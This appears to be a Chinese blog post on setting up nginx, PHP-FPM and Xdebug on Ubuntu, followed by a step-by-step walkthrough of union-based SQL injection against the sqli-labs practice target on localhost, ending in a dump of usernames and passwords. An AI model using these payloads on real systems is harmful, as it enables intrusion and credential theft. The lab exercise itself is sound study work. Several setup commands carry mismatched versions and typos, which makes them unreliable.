渗透--ubuntuan安装nginx、php部署 -- sql注入

ubuntuan安装nginx以及php部署 

​
1.安装依赖包
方法一:
root@zbn-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev

方法二:
root@zbn:/# apt install gcc
root@zbn:/# apt install libpcre3 libpcre3-dev
root@zbn:/# apt install zlib1g zlib1g-dev
root@zbn:/# apt-get install openssl
root@zbn:/# apt-get install libssl-dev

2.创建文件夹
root@zbn:/# cd /usr/local
root@zbn:/usr/local# mkdir nginx
root@zbn:/usr/local# cd nginx

3.安装nginx
方法一:      
      1:在https://nginx.org/en/download.html下载nginx
      2:将压缩包通过xtfp传输到ubuntu的/usr/local/nginx目录下
      3:root@zbn:/usr/local/nginx#  tar -vxf nginx-1.21.6 tar.gz
方法二:     
      1:下载安装包
         root@zbn:/usr/local/nginx# wget https://nginx.org/download/nginx1.21.6.tar.gz
      2:解压安装包
         root@zbn:/usr/local/nginx# tar -zxvf nginx-1.21.6.tar.gz

3.查看编译环境是否有缺失
root@zbn:/usr/local/nginx/nginx-1.21.6# ./configure

4.编译
root@zbn:/usr/local/nginx/nginx-1.21.6# make && make install 

5.启动nginx
root@zbn:/usr/local/nginx/sbin# ./nginx

最终结果:

be9ff90e48f64297946bcd14247e2d6f.png 

部署PHP 

1.增加php源地址
root@zbn:~# apt-get install software-properties-common
root@zbn:~# add-apt-repository -y ppa:ondrej/php
root@zbn:~# apt-get install php7.3

2.安装php
root@zbne:~# sudo apt-get install php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml 

3.修改监听端口
root@zbn:vim /etc/php/7.1/fpm/pool.d/www.conf

4.启动php-fpm,查看9000端口状况
root@zbn:~# sudo service php7.3-fpm start
root@zbn:~# netstat -lnt | grep 9000

5.测试
root@zbn:/usr/local/nginx/html# vim web.php

 3.修改监听端口

 6daeb82a20384951abcf2fa84e86ba69.png

5.测试 

75f3391d3b18409ebcf5a9587c25514b.png

60bd01a412f84ff097183f7105ea622d.png

Debug安装调试 

Debug安装调试
1.VScode远程连接

2.安装PHP Debug


点击 Xdebug installation wizard 进入网站

将web.php的信息复制粘贴



(1)

root@admin123-virtual-machine:~# wget https://xdebug.org/files/xdebug-3.3.2.tgz
1
(2)

root@admin123-virtual-machine:~# apt-get install php7.3-dev autoconf automake
1
(3)

root@admin123-virtual-machine:~# tar -xvzf xdebug-3.3.2.tgz
1
(4)

root@admin123-virtual-machine:~# cd xdebug-3.3.2
1
(5)

root@admin123-virtual-machine:~# phpize
1

(6)

root@admin123-virtual-machine:~/xdebug-3.3.2# ./configure
1
(7)

root@admin123-virtual-machine:~/xdebug-3.3.2# make
1
(8)

root@admin123-virtual-machine:~/xdebug-3.3.2# cp modules/xdebug.so /usr/lib/php/20230831/
1
(9)

root@admin123-virtual-machine:~/xdebug-3.3.2# vim /etc/php/8.3/fpm/conf.d/99-xdebug.ini
1


(10)

root@admin123-virtual-machine:~/xdebug-3.3.2# service php7.3-fpm restart 
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.youkuaiyun.com/Sesessep/article/details/140939500

 

 

 

Debug安装调试 

1.VScode远程连接

d9175cc691d64769a0e2a29593c39061.png

2.安装PHP Debug

9edfcf1923ae43d1b9ca5db4924be179.png
点击 Xdebug installation wizard 进入网站

b0f784f2edf84d3fac0ccd31431b4860.png

9ef37bcf3d6148c4960e65075426c101.png

b785d96982774ba19335f055f032ed1b.png

aaffb6dbd6514c039af2c0d8a81f53b9.png

将web.php的信息复制粘贴

f876868f0b9745b9b5a9c655d02392a2.png

我们按照以下步骤一步一步来:

99cdaa47d2da4063a587fa09bb24132f.png

72e9799bdc2046b3985692abedc8472d.png

3.第三步

1>复制链接
f911e939049a48f4bd681ae2565c5ec6.png

2>root@zbn:~# wget https://xdebug.org/files/xdebug-2.9.8.tgz

 

4、root@zbn:~# apt-get install php7.1-dev autoconf automake
 

5、root@zbn:~# tar -xvzf xdebug-2.9.8.tgz

6、root@zbn:~# cd xdebug-32.9.8

7、root@zbn:~# phpize

 

8、root@azbn:~/xdebug-2.9.8# ./configure

9、root@zbn:~/xdebug-32.9.8# make

10、root@zbn:~/xdebug-2.9.8# cp modules/xdebug.so /usr/lib/php/20230831/

11、root@zbn:~/xdebug-2.9.8# vim /etc/php/7.1/fpm/conf.d/99-xdebug.ini

3921bb97b4a7470cbc154c1866a21235.png

 

12、root@zbn:~/xdebug-2.9.8: service php7.1-fpm restart 

遇到这个情况,断点用不了

 a6268434bb9349f3a43099b53e8149cc.png

sql注入 安装靶场 

下载靶场解压到phpstudu_pro/WWW
6de6e5be5f474ff882899a73903745f6.png
更改数据库配置文件
2686507e2c1f472a900a290e72ffe2a3.png
登入靶场
c1377aa139f543ceacb8607f4e4d034b.png
Setup/reset Database for labs

506993f28a23439ebfc502cd6d3a0516.png

sql注入流程


1.寻找注入点

http://localhost/sqliabs/Less-1/?id=1

72855dde18f24bc88f63470418e3e6a6.png
2.判断是数字型还是字符型
3fbcb668a4ec455a8ff5269c3406baab.png
1794481a8c614da99d1d8de48b3bd05e.png
字符型

3.判断闭合方式

http://localhost/sqliabs/Less-1/?id=1'

135ffff63ffb41f2988fbe48ed7c9308.png
b4a98b517ad042ab846c93e1ea2c1b60.png
单引号闭合

4.验证输入的内容数据库是否执行,是否存在sql漏洞
若:

http://localhost/sqliabs/Less-1/?id=1’ and 1=1 --+

有显示
eb9d500f7f2e4f968746844a0f5f319f.png

http://localhost/sqliabs/Less-1/?id=1' and 1=2 --+

无显示
2a2d619e7eca4161a42004f3b16015d8.png
则存在漏洞

5.判断列数

http://localhost/sqliabs/Less-1/?id=1' order by 10 --+

报错,说明没有10列
ef4be982b0124718b96b061d9d4d2ca8.png

http://localhost/sqliabs/Less-1/?id=1' order by 3 --+

没有报错,说明有3列83e654c098b544f496fab2f300e171d0.png

 

6.联合查询,判断回显位

http://localhost/sqliabs/Less-1/?id=-1' union select 1,2,3 --+

f4860ebebdc8478ebd5c4607e16dc36e.png
2,3说明联合查询中的第2第3位的数据会显示到Your Login name和Your Password后

851679c3a02c4fd9bf3e565ffb5a3b31.png

7.查数据库名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,database(),3 --+

ddca573ff50b47ba8f8e64c2b6d80694.png
数据库名:security

8.查表名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+

732ecd031b584d64bb058806b8866ecb.png

四张表:emails referers uagents users

9.查列名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+
 

05bc94a5ea60407fbb5bff54a9e64fe6.png

三个列名:id username password

10.查具体数据

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(username)from users),(select group_concat(password)from users) --+
f1030bfd3d144f2283be42ddb1988576.png

查出账号密码,成功通关。

Less-02~04通过方式与Less-01基本无异,只是闭合方式不同

d6243ee4bd7c476583fea19a659d80a4.png

3b214eb7b1664827833836ffe639e3d8.png 

 d0da5f3a0b4a433f80e5d5c557e43632.png

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值